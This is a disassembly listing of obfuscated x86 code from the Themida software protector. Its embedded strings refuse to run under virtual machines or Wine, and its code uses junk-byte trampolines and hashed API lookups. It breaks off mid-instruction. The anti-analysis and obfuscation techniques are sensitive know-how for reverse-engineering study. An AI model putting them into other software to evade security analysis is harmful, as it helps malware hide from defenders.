65766972h, 50410072h, 65204349h dd 726F7272h, 6143203Ah, 746F6E6Eh, 6E696620h, 72502064h dd 7365636Fh, 73726F73h, 6E6F4320h, 6C6F7274h, 6F6C4220h dd 2E736B63h, 656C5020h, 2C657361h, 6F630D0Ah, 6361746Eh dd 6E692074h, 6F406F66h, 6E616572h, 6F632E73h, 6F66206Dh dd 68742072h, 65207369h, 726F7272h, 0 dd 10400h, 6F533300h, 2C797272h, 69687420h, 70612073h dd 63696C70h, 6F697461h, 6163206Eh, 746F6E6Eh, 6E757220h dd 646E7520h, 61207265h, 72695620h, 6C617574h, 63614D20h dd 656E6968h, 70h dup(0) dd 100000h, 1000000h, 0FEFFFF00h, 17Fh, 100h, 24A00h, 1000000h dd 8000F00h, 940004h, 50000h, 10000h, 0A280000h, 20000h dd 65530000h, 63697672h, 61502065h, 32206B63h, 1Dh dup(0) dd 6F530000h, 61777466h, 575C6572h, 656E69h ; --------------------------------------------------------------------------- loc_5ADC4C: ; CODE XREF: Themida_:loc_5ACB90j mov eax, esp jmp loc_5ADC64 ; --------------------------------------------------------------------------- mov esi, 304330A5h adc [eax], esp fld dword ptr [esi-32h] push ecx pop edi sub edi, ebp leave pop esp sahf loc_5ADC64: ; CODE XREF: Themida_:005ADC4Ej mov [ebp+6142551h], eax xor [ebp+6140AD1h], edi mov eax, eax xor edi, 4D634046h adc dh, 0B3h cmp dword ptr [ebp+61410F1h], 0 jnz short loc_5ADC8D cmp dword ptr [ebp+6140E25h], 0 jz short loc_5ADCA6 loc_5ADC8D: ; CODE XREF: Themida_:005ADC82j push eax push ebx mov eax, eax mov eax, 43Dh mov [ebp+6141819h], eax lea ebx, [ebp+616A752h] call ebx ; _iob pop ebx pop eax loc_5ADCA6: ; CODE XREF: Themida_:005ADC8Bj cmp dword ptr [ebp+6140E25h], 0 jz short loc_5ADCC6 push eax push ebx mov eax, 43Dh mov [ebp+6141819h], eax lea ebx, [ebp+616A441h] call ebx ; _iob pop ebx pop eax loc_5ADCC6: ; CODE XREF: Themida_:005ADCADj mov edx, 3A25EA64h mov eax, eax movsx edx, di mov eax, eax mov dx, 0C50h cmp dword ptr [ebp+61410F1h], 0 jnz short loc_5ADCE8 cmp dword ptr [ebp+6140E25h], 0 jz short loc_5ADCFB loc_5ADCE8: ; CODE XREF: Themida_:005ADCDDj push eax push ebx mov eax, eax mov eax, 0 lea ebx, [ebp+616A5F4h] call ebx ; _iob pop ebx pop eax loc_5ADCFB: ; CODE XREF: Themida_:005ADCE6j cmp dword ptr [ebp+6140E25h], 0 jz short loc_5ADD15 push eax push ebx mov eax, 0 lea ebx, [ebp+616A4A5h] call ebx ; _iob pop ebx pop eax loc_5ADD15: ; CODE XREF: Themida_:005ADD02j mov [ebp+61416A1h], eax mov cx, 3346h jmp loc_5ADD2C ; --------------------------------------------------------------------------- test ah, 0B4h adc eax, 11291986h loc_5ADD2C: ; CODE XREF: Themida_:005ADD1Fj mov eax, eax push 0 push eax call sub_5ADD39 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5ADD39 proc near ; CODE XREF: Themida_:005ADD31p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5ADD39 endp ; --------------------------------------------------------------------------- db 65h, 84h, 3Ah dd 0A9265FA8h, 0E9F568E1h, 10h, 66D0B441h, 3CF2E1D3h, 0E33B2EE5h dd 6B7C9FCFh, 8D89C08Bh, 61409A9h, 10F1BD83h, 75000614h dd 25BD8309h, 6140Eh, 53501374h, 0B8C08Bh, 8D000000h, 16A5269Dh dd 5BD3FF06h, 25BD8358h, 6140Eh, 53501174h, 0B8h, 739D8D00h dd 0FF0616A4h, 52585BD3h, 0B8EF7FBAh, 0A6BA5A39h, 8B441C8Eh dd 0FBBF0FC0h, 2810Fh, 0EC8A0000h, 2DB9C08Bh, 83794554h dd 1410F1BDh, 9750006h, 0E25BD83h, 74000614h, 8B535013h dd 0B8C0h, 9D8D0000h, 616A58Dh, 585BD3FFh, 0E25BD83h, 74000614h dd 0B8535011h, 0 ; --------------------------------------------------------------------------- lea ebx, [ebp+616A48Ch] call ebx ; _iob pop ebx pop eax mov ecx, [ebp+6140771h] push 0 push ecx call sub_5ADE1F and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5ADE1F proc near ; CODE XREF: Themida_:005ADE17p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_5ADE1F endp ; --------------------------------------------------------------------------- xchg eax, edi mov al, ds:0C2EC8531h dec ebx mov edx, [ebp+6142E25h] jmp loc_5ADE55 ; --------------------------------------------------------------------------- db 0EEh, 9Bh, 4 dd 9E067F6h, 51F573D5h, 0C07F17D4h, 0BED3F585h ; --------------------------------------------------------------------------- xchg eax, edx loc_5ADE55: ; CODE XREF: Themida_:005ADE3Cj mov eax, eax mov ch, dl jns loc_5ADE62 mov dx, di loc_5ADE62: ; CODE XREF: Themida_:005ADE59j mov eax, eax mov dh, 8 cmp dword ptr [ebp+61410F1h], 0 jnz short loc_5ADE78 cmp dword ptr [ebp+6140E25h], 0 jz short loc_5ADE8B loc_5ADE78: ; CODE XREF: Themida_:005ADE6Dj push eax push ebx mov eax, eax mov eax, 0 lea ebx, [ebp+616A4BFh] call ebx ; _iob pop ebx pop eax loc_5ADE8B: ; CODE XREF: Themida_:005ADE76j call sub_5ADE9F push ebx aam 0D9h retn 7EB6h ; --------------------------------------------------------------------------- dw 5EA0h dd 2ED66EFEh db 0A6h, 0B8h, 41h ; =============== S U B R O U T I N E ======================================= sub_5ADE9F proc near ; CODE XREF: Themida_:loc_5ADE8Bp add [ebp+6141669h], ecx pop edi sbb dl, 6 adc edi, 4901966Fh mov eax, eax jmp loc_5ADECA ; --------------------------------------------------------------------------- dw 88F6h dd 0E2820ABCh, 8E3D5F85h, 0C1D82A26h, 6E292C94h db 0CFh, 70h ; --------------------------------------------------------------------------- loc_5ADECA: ; CODE XREF: sub_5ADE9F+12j mov eax, eax push 0 push ebx call sub_5ADED7 and [ebx-3Dh], bl sub_5ADE9F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5ADED7 proc near ; CODE XREF: sub_5ADE9F+30p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5ADED7 endp ; --------------------------------------------------------------------------- jnz short near ptr loc_5ADF45+2 cmp [esi], esp push ebx nop movsb mov eax, [eax-427CED0Ah] icebp adc [esi+eax], dl add [ebp+9], dh cmp dword ptr [ebp+6140E25h], 0 jz short loc_5ADF1D push eax push ebx mov eax, eax mov eax, 7D0h mov [ebp+6141819h], eax lea ebx, [ebp+616A752h] call ebx ; _iob pop ebx pop eax loc_5ADF1D: ; CODE XREF: Themida_:005ADF02j cmp dword ptr [ebp+6140E25h], 0 jz short loc_5ADF3D push eax push ebx mov eax, 7D0h mov [ebp+6141819h], eax lea ebx, [ebp+616A441h] call ebx ; _iob pop ebx pop eax loc_5ADF3D: ; CODE XREF: Themida_:005ADF24j push 0 push ebp call sub_5ADF48 loc_5ADF45: ; CODE XREF: Themida_:005ADEE7j and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5ADF48 proc near ; CODE XREF: Themida_:005ADF40p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_5ADF48 endp ; --------------------------------------------------------------------------- dd 957B00CFh, 9E854h, 9CF40000h, 7FC4CFE2h, 56DB4017h dd 5A5A5F52h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 0E7C35646h, 5DABC372h, 4538CC6Fh, 0FE854h, 778F0000h dd 66D5BAEDh, 4CE7EB0Eh, 74AA05E6h, 5FF7B64Bh, 0F281C08Bh dd 42477F58h, 0C810Fh, 850F0000h, 6, 699B531h, 85C60614h dd 6140849h, 52006A53h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 520E6FAFh, 0FE991h, 0B0DA0000h, 75EDE810h dd 58AA11DAh, 0CFE49B8Eh, 0D2BF0F16h, 395F9068h, 21958B99h dd 0FF06142Bh, 140C2DB5h, 0EE906h, 80AA0000h, 8CFF9CDFh dd 34DED881h, 0E9FC2464h, 3B4E858Dh, 6A0614h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 459816C3h dd 2349BD89h, 8B660614h, 31D0FFF8h, 1415F595h, 5D8D0106h dd 89061406h, 140BD985h, 8E806h, 0DCFB0000h, 0E680DBC2h dd 880F7B71h, 6, 0D358D8Bh, 8B5F0614h, 14070995h, 4985C606h dd 57061408h, 28A0Fh, 0CB8B0000h, 4520668h, 70B96690h dd 31E6807Dh, 0C2DB5FFh, 9D890614h, 6142539h, 3B4E858Dh dd 0FFF90614h, 0B8B2BAD0h, 85890EE9h, 6142A89h, 5F35B256h dd 8598D09h, 85C60614h, 6140849h, 70286843h, 830FBC90h dd 13h, 0CE953h, 12850000h, 0E67FCD8Eh, 0FDB91486h, 0FF5F10A3h dd 140C2DB5h, 0DE806h, 1A160000h, 64F9E22Eh, 0BB48B38Bh dd 0FDD93BAh, 8D59C9B7h, 143B4E85h, 98C0F06h, 0F000000h dd 384h, 0BAEA8000h, 0BF0FD0FFh, 718589F9h, 6A061409h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 5FCEC350h, 8AEF570Ch, 0E810FD7h, 0E9000000h dd 9, 10E098CBh, 0AD053BB8h, 0B18D89B8h, 0C6061423h, 14084985h dd 0CE94C06h, 38000000h, 7BB8D006h, 95AAEC2Dh, 680DEF6Dh dd 0D9DA1CE9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 0A3C35646h, 0BDA7D144h, 809A2AD8h, 0B5FFF0EEh dd 6140C2Dh, 19B5958Bh, 858D0614h, 6143B4Eh, 2325BD01h dd 0BD890614h, 6140711h, 8D29D0FFh, 6141DF9h, 2BDD8589h dd 0BD8B0614h, 61423CDh, 84985C6h, 81460614h, 351264D9h dd 614685Bh, 2FB6BADEh, 0C2DB5FFh, 6A0614h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0D3C657C3h dd 0F5297DC1h, 3B4E858Dh, 0BF660614h, 0D0FFF076h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0C8C35747h, 0D1D8D2Bh dd 89F90614h, 14015185h, 0B9852906h, 0C606141Eh, 14084985h dd 0BD894706h, 6140CC5h, 0FB5E268h, 0B5FFF58Ah, 6140C2Dh dd 0AE45B966h, 3B4E858Dh, 6A0614h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 85891DC3h, 6140F81h dd 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 0CD8D7FC3h, 161DBD0Bh, 85890614h, 6140BCDh dd 85C6D18Bh, 6140849h, 68F18A47h, 83D0B5F3h, 148C0Fh dd 0FE90000h, 0D5000000h, 48C53246h, 7202708Dh, 0A248F4D0h dd 0B5FFFBDCh, 6140C2Dh, 880Fh, 858D0000h, 6143B4Eh, 0FFCEB70Fh dd 6820FD0h, 89000000h, 14020DBDh, 45858906h, 0E9061416h dd 0Ch, 426A6B49h, 0CBAF4A1Bh, 33FEBD05h, 84985C6h, 89770614h dd 1418B1BDh, 0A8A36806h, 6AF397h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 0D31900C3h, 5E8C2h, 0EF700000h dd 0F8E1A76h, 281h, 59F98B00h, 2965B5FFh, 0BD8B0614h, 6140FCDh dd 3B4E858Dh, 958B0614h, 6142FC9h, 6AD0FFh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 514798C3h dd 28AAC116h, 8E9E51Dh, 0FF000000h, 0C89AB39Dh, 66C5A0ABh dd 8589FB8Bh, 6141239h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 42C35545h, 0CED8D8Bh, 0B70F0614h, 9958BCBh dd 0C606141Dh, 14084985h, 6A4706h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 9B21D7C3h, 98490251h dd 8D8BE0FEh, 614341Dh, 28FAF668h, 4677B987h, 0B5FF128Dh dd 6140C2Dh, 30CABA66h, 3B4E858Dh, 0BF660614h, 0D0FF3D67h dd 9E9h, 77B5A00h, 7B378C75h, 8589DB02h, 6140D85h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0EDC35545h, 0D1816620h dd 85C6C072h, 6140849h, 72B95043h, 59590CF7h, 0FE8h, 0BA26DE00h dd 232E9D50h, 0A486F685h, 8644B2B1h, 0EB61BA66h, 6EFC685Ah dd 0FFF8BC8Eh, 140C2DB5h, 0F8B70F06h, 3B4E858Dh, 6A0614h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0FB761EC3h, 1F2A5721h, 0AE9D0h, 101D0000h, 0A4B1DE5Fh dd 60EF8ADAh, 12E9D0FFh, 0FC000000h, 549F3790h, 0AFC47FFBh dd 251E8E65h, 188B7B2Eh, 0AE96Eh, 9BB70000h, 8B93689Fh dd 87F4FD10h, 3D98589h, 6A0614h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 479775C3h, 10480276h dd 0E3B98810h, 0BA529A42h, 7AD6B6C0h, 84985C6h, 0B5450614h dd 69696846h, 880F8E72h, 6, 3105BD8Bh, 0B5FF0614h, 6140C2Dh dd 8D56C580h, 143B4E85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 72BC90BBh, 8ADA80DAh dd 88099FBFh, 0FD0FF6Ch, 8Eh, 69858900h, 89061418h, 142D9D9Dh dd 4985C606h, 44061408h, 0EC6468F5h, 9E8B8F2h, 55000000h dd 854D4FFFh, 0C752BCF0h, 2DB5FF59h, 6006140Ch, 19A1858Bh dd 81660614h, 61D87DD9h, 858DF48Ah, 6143B4Eh, 0CA80D0FFh dd 1585897Bh, 0B061431h, 1406BDBDh, 4985C606h, 43061408h dd 19E1BD2Bh, 0A7680614h, 6AC0764Ah, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 939C353h dd 140C8D8Dh, 41958906h, 0FF06141Ch, 140C2DB5h, 0BD0B6006h dd 61402EDh, 4E858D61h, 8B06143Bh, 89D0FFCAh, 1430C58Dh dd 8EB96606h, 7585899Bh, 6A06140Bh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 1F5BC355h dd 2E510FDBh, 0B5CA04EFh, 0E7BD807Ah, 616FBh, 0EA840Fh dd 9D890000h, 6142411h, 0FBC9858Dh, 0FE8B0616h, 0AC58589h dd 60500614h, 16419D8Bh, 0BB660614h, 6A619BD3h, 6A006A01h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0B174C352h, 325BC362h, 0B840F08h, 0E8000000h dd 5, 2E3EA4D5h, 0F78A5A7Eh, 68B0Fh, 958B0000h, 61411E5h dd 8D0F006Ah, 0 ; --------------------------------------------------------------------------- call dword ptr [ebp+6140971h] mov ecx, [ebp+6141BB1h] mov [ebp+61407A5h], eax push 0 push ebp call sub_5AE70D and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AE70D proc near ; CODE XREF: Themida_:005AE705p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_5AE70D endp ; --------------------------------------------------------------------------- mov ds:4BF58D17h, al pop edx fcom dword ptr [ecx-75h] setalc mov ecx, [ebp+61430E1h] push 0FFFFFFFFh cld push dword ptr [ebp+61407A5h] push 0 push edx call sub_5AE741 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AE741 proc near ; CODE XREF: Themida_:005AE739p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_5AE741 endp ; --------------------------------------------------------------------------- adc edx, 4BE24048h sbb [esi+edi*8+118D8589h], eax adc al, 6 call dword ptr [ebp+6142A89h] mov [ebp+6141F91h], edi mov eax, eax mov [ebp+6141021h], ebx cmp dword ptr [ebp+61410F1h], 0 jnz short loc_5AE786 cmp dword ptr [ebp+6140E25h], 0 jz short loc_5AE79F loc_5AE786: ; CODE XREF: Themida_:005AE77Bj push eax push ebx mov eax, eax mov eax, 7D1h mov [ebp+6141819h], eax lea ebx, [ebp+616A752h] call ebx ; _iob pop ebx pop eax loc_5AE79F: ; CODE XREF: Themida_:005AE784j cmp dword ptr [ebp+6140E25h], 0 jz short loc_5AE7BF push eax push ebx mov eax, 7D1h mov [ebp+6141819h], eax lea ebx, [ebp+616A441h] call ebx ; _iob pop ebx pop eax loc_5AE7BF: ; CODE XREF: Themida_:005AE7A6j mov di, ax jge loc_5AE7D4 jg loc_5AE7D4 jnp $+6 loc_5AE7D4: ; CODE XREF: Themida_:005AE7C2j ; Themida_:005AE7C8j mov edi, [ebp+6142BFDh] mov eax, eax cld mov byte ptr [ebp+6140849h], 47h mov ecx, 1D1A8160h push 93C8F7C1h push 0 push edi call sub_5AE7F9 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AE7F9 proc near ; CODE XREF: Themida_:005AE7F1p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5AE7F9 endp ; --------------------------------------------------------------------------- mov al, 0F8h sub bh, [edx] push ds cmp [esi+3Ah], esp mov ecx, eax pusha or [ebp+6141B49h], edx xor eax, [ebp+6141709h] popa push dword ptr [ebp+6140C2Dh] movzx edx, di lea eax, [ebp+6143B4Eh] adc edx, 6B176D33h mov di, 307Eh call eax sub [ebp+6141EA5h], eax push eax or edi, 4776E172h pusha xor eax, [ebp+6141F75h] mov [ebp+6141FC5h], esi popa lea eax, [ebp+617000Ah] mov edi, ebx mov dh, 0Bh mov dword ptr [eax], 94h push 0 push edi call sub_5AE873 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AE873 proc near ; CODE XREF: Themida_:005AE86Bp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_5AE873 endp ; --------------------------------------------------------------------------- popa pop eax add [ebp+6142A09h], ebx lea esi, [ebp+617000Ah] movzx edx, cx push esi push 0 push ebx call sub_5AE8A0 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AE8A0 proc near ; CODE XREF: Themida_:005AE898p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_5AE8A0 endp ; --------------------------------------------------------------------------- xchg eax, ecx call eax lea eax, [ebp+617000Ah] adc ch, 71h cmp dword ptr [eax+4], 6 jnz loc_5AE8D9 mov edi, [ebp+614231Dh] mov dword ptr [ebp+617009Eh], 1 mov cx, di loc_5AE8D9: ; CODE XREF: Themida_:005AE8C0j cmp dword ptr [ebp+6140361h], 0 jnz loc_5AE91F mov ecx, 761E8657h mov dx, 1226h cmp dword ptr [ebp+617009Eh], 0 jnz loc_5AE91F mov di, 0B6A2h cmp dword ptr [ebp+6140D19h], 0 jz loc_5AE91F sub [ebp+6142601h], ebx mov dword ptr [ebp+6140F89h], 0 mov edx, esi loc_5AE91F: ; CODE XREF: Themida_:005AE8E0j ; Themida_:005AE8F6j ... mov bx, ds mov [ebp+61410B5h], esi jl loc_5AE933 mov edx, 74E5F37Bh loc_5AE933: ; CODE XREF: Themida_:005AE928j test bl, 4 jz loc_5AEDE7 mov edx, [ebp+6141041h] mov dword ptr [ebp+61401CDh], 0 or [ebp+6141B2Dh], edx cmp byte ptr [ebp+616FBF4h], 0 jnz loc_5AE97D call sub_5AE976 retf 66DFh ; --------------------------------------------------------------------------- db 30h dd 29DCF81Ah, 131B317Eh, 3D71501Eh ; --------------------------------------------------------------------------- pusha cld ; =============== S U B R O U T I N E ======================================= sub_5AE976 proc near ; CODE XREF: Themida_:005AE95Fp mov edx, [ebp+6140759h] pop edx loc_5AE97D: ; CODE XREF: Themida_:005AE959j mov byte ptr [ebp+6140849h], 47h pusha pusha pusha popa jmp loc_5AE995 ; --------------------------------------------------------------------------- db 0E6h, 0E2h, 81h dd 40EA5856h db 0B4h ; --------------------------------------------------------------------------- loc_5AE995: ; CODE XREF: sub_5AE976+12j popa adc ebx, 56A5D9F7h popa push ecx mov dh, 0A5h pop edx push 0E3E45B86h mov edi, [ebp+614124Dh] push dword ptr [ebp+6140C2Dh] or [ebp+6142D41h], ebx lea eax, [ebp+6143B4Eh] sub [ebp+6140C99h], ebx sbb di, 6D7Ah call eax push 0 push edx call sub_5AE9D6 and [edx-3Dh], bl sub_5AE976 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5AE9D6 proc near ; CODE XREF: sub_5AE976+58p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5AE9D6 endp ; --------------------------------------------------------------------------- dw 7863h dd 0F88B663Dh, 10468h, 65BD8B00h, 8D061425h, 1405319Dh dd 0CA8B6606h, 0E6806053h, 8DBD89EBh, 61061411h, 800FD0FFh dd 0 ; --------------------------------------------------------------------------- lea eax, [ebp+6140531h] sub [ebp+6140B29h], ecx push eax mov ecx, [ebp+614316Dh] lea eax, [ebp+616FBA6h] mov [ebp+61402CDh], eax push eax mov edi, [ebp+61425E9h] jmp loc_5AEA44 ; --------------------------------------------------------------------------- db 24h dd 8D815B08h ; --------------------------------------------------------------------------- loc_5AEA44: ; CODE XREF: Themida_:005AEA3Aj lea eax, [ebp+616F279h] push eax mov edx, [ebp+6140455h] call dword ptr [ebp+6141239h] movsx ecx, cx sub [ebp+61412F9h], eax add esp, 0Ch mov [ebp+614181Dh], edx push 0 push 80h push 3 push 0 push 0 push 80000000h lea eax, [ebp+616F279h] push eax call dword ptr [ebp+61403D9h] mov [ebp+616FB89h], eax mov byte ptr [ebp+6140849h], 47h push 0C7B15E87h push dword ptr [ebp+6140C2Dh] lea eax, [ebp+6143B4Eh] call eax push 0 push dword ptr [ebp+616FB89h] call eax sub [ebp+6141115h], esi sub di, 0E09Ch push ecx pop ecx cmp eax, 37D0h jnb loc_5AEB04 mov edx, [ebp+6140C29h] mov ch, 7Ch push dword ptr [ebp+616FB89h] mov dl, ch call dword ptr [ebp+6140B75h] mov [ebp+6140A19h], eax jmp loc_5AEBE1 ; --------------------------------------------------------------------------- jnz loc_5AEB04 jmp loc_5AEB04 ; --------------------------------------------------------------------------- dw 494h dd 8C0252D9h, 0B0C6A2DAh, 25963FECh ; --------------------------------------------------------------------------- loc_5AEB04: ; CODE XREF: Themida_:005AEAC4j ; Themida_:005AEAEBj ... push dword ptr [ebp+616FB89h] pusha xor [ebp+6140709h], ecx or [ebp+6140D6Dh], ebx popa call dword ptr [ebp+6140B75h] cmc push 0 or edx, 70B7AA91h push 0 push 0 push esi call sub_5AEB34 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AEB34 proc near ; CODE XREF: Themida_:005AEB2Cp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_5AEB34 endp ; --------------------------------------------------------------------------- cmp [ebx-21h], cl jno loc_5AEB59 pusha or dx, 0E370h mov ebx, 8FEAE80h popa loc_5AEB59: ; CODE XREF: Themida_:005AEB47j push 0 push 0 push edi call sub_5AEB66 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AEB66 proc near ; CODE XREF: Themida_:005AEB5Ep arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_5AEB66 endp ; --------------------------------------------------------------------------- dw 0FD3Ah dd 8F60A666h, 4DB3FE3Dh, 0C8B52AB9h, 66006A40h, 4958F281h dd 952B006Ah, 6142DA9h, 8950006Ah, 140365BDh, 858D5906h dd 616FB8Dh, 8950CE8Bh, 140A1985h, 0D995FF06h, 6A061403h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 9D86C352h, 0FFFF883h, 12D85h, 8BD68B00h dd 141CF5BDh ; --------------------------------------------------------------------------- push es loc_5AEBE1: ; CODE XREF: Themida_:005AEAE6j lea eax, [ebp+616B719h] mov di, 0C7Ch mov ch, 0D3h call eax jno loc_5AEBFA adc di, 2B44h loc_5AEBFA: ; CODE XREF: Themida_:005AEBEFj push 0 mov ch, 87h push 0 jp loc_5AEC0C mov edx, [ebp+61423D9h] loc_5AEC0C: ; CODE XREF: Themida_:005AEC00j push 0 mov ecx, [ebp+6140899h] push 0 push 0 push ebp call sub_5AEC21 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AEC21 proc near ; CODE XREF: Themida_:005AEC19p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_5AEC21 endp ; --------------------------------------------------------------------------- lodsd or eax, 8A609CD2h shr byte ptr [edx+0], 1 push 0 push edx call sub_5AEC45 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AEC45 proc near ; CODE XREF: Themida_:005AEC3Dp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5AEC45 endp ; --------------------------------------------------------------------------- db 0C4h, 67h, 0AEh dd 0E8D98AD4h, 299DD7ECh, 1424E195h, 0E1816606h, 6A5010h dd 33C88B66h, 141FA18Dh, 8D858D06h, 890616FBh, 14138995h dd 0B1565006h, 95FF5912h, 61403D9h, 10F6BF66h, 0FFFF883h dd 6D85h, 0F8D78100h, 8D58776Bh, 16F595B5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 24ADF95Dh, 8D8B7FE7h, 61402FDh, 0D499D31h, 858D0614h dd 616A07Dh, 33BE9CBFh, 0E8D0FF54h, 6, 6EE83BFDh, 9D31ED98h dd 61419A1h, 57006A5Fh, 51B58952h, 5F06142Bh, 1F2805Fh dd 186995FFh, 85890614h, 616FB89h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 0EAC35242h, 81421961h, 9F142BE9h dd 0E2816618h, 6AB3A5h, 49D3A7BFh, 81858D77h, 660616FBh dd 0F699D281h, 7CB96650h, 6A046A33h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 1415C355h dd 0D4A99346h, 6BC680EFh, 308D8D89h, 858D0614h, 6143169h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 2DC35343h dd 0DD8F00A3h, 30A99509h, 0E9500614h, 0Eh, 27EAA991h, 0FEFA049Fh dd 0A3E3AFD2h, 6A201Eh, 6AFB8Bh, 0B7DF8166h, 8B016ACAh dd 14205DBDh, 89B5FF06h, 8A0616FBh, 1595FFEFh, 29061431h dd 140A4D95h, 1B0AE906h db 2 dup(0), 0F8h ; --------------------------------------------------------------------------- loc_5AEDE7: ; CODE XREF: Themida_:005AE936j mov eax, eax jnb loc_5AEE04 jmp loc_5AEE04 ; --------------------------------------------------------------------------- dd 3403FB88h, 0D333920Bh, 1B52885Ch, 12889C7Ah ; --------------------------------------------------------------------------- loc_5AEE04: ; CODE XREF: Themida_:005AEDE9j ; Themida_:005AEDEFj cmp dword ptr [ebp+61410F1h], 0 jnz short loc_5AEE16 cmp dword ptr [ebp+6140E25h], 0 jz short loc_5AEE2F loc_5AEE16: ; CODE XREF: Themida_:005AEE0Bj push eax push ebx mov eax, eax mov eax, 7D2h mov [ebp+6141819h], eax lea ebx, [ebp+616A752h] call ebx ; _iob pop ebx pop eax loc_5AEE2F: ; CODE XREF: Themida_:005AEE14j cmp dword ptr [ebp+6140E25h], 0 jz short loc_5AEE4F push eax push ebx mov eax, 7D2h mov [ebp+6141819h], eax lea ebx, [ebp+616A441h] call ebx ; _iob pop ebx pop eax loc_5AEE4F: ; CODE XREF: Themida_:005AEE36j mov [ebp+6140F2Dh], edx mov [ebp+61425D5h], edi jo loc_5AEE67 mov edi, [ebp+6141A6Dh] loc_5AEE67: ; CODE XREF: Themida_:005AEE5Bj mov eax, eax jnb loc_5AEE7A jnp loc_5AEE7A mov edx, 31A7112Dh loc_5AEE7A: ; CODE XREF: Themida_:005AEE69j ; Themida_:005AEE6Fj mov dword ptr [ebp+61401CDh], 1 mov ecx, edi push 0CEE4E7B8h push dword ptr [ebp+6142B25h] lea eax, [ebp+6143B4Eh] call eax mov [ebp+6141B99h], eax lea eax, [ebp+616FDE5h] push eax lea eax, [ebp+61700A2h] push eax push 80000001h call dword ptr [ebp+6141B99h] or eax, eax jnz short loc_5AEEC6 mov dword ptr [ebp+6141C31h], 1 loc_5AEEC6: ; CODE XREF: Themida_:005AEEBAj push 0C005DBD4h push dword ptr [ebp+6142B25h] lea eax, [ebp+6143B4Eh] call eax mov [ebp+61416C9h], eax lea eax, [ebp+616F032h] push eax push dword ptr [ebp+6140C2Dh] call dword ptr [ebp+6140BCDh] or eax, eax jz short loc_5AEF01 mov ebx, eax lea eax, [ebp+616FFE5h] push eax call ebx ; _iob loc_5AEF01: ; CODE XREF: Themida_:005AEEF4j lea eax, [ebp+616FFE5h] cmp word ptr 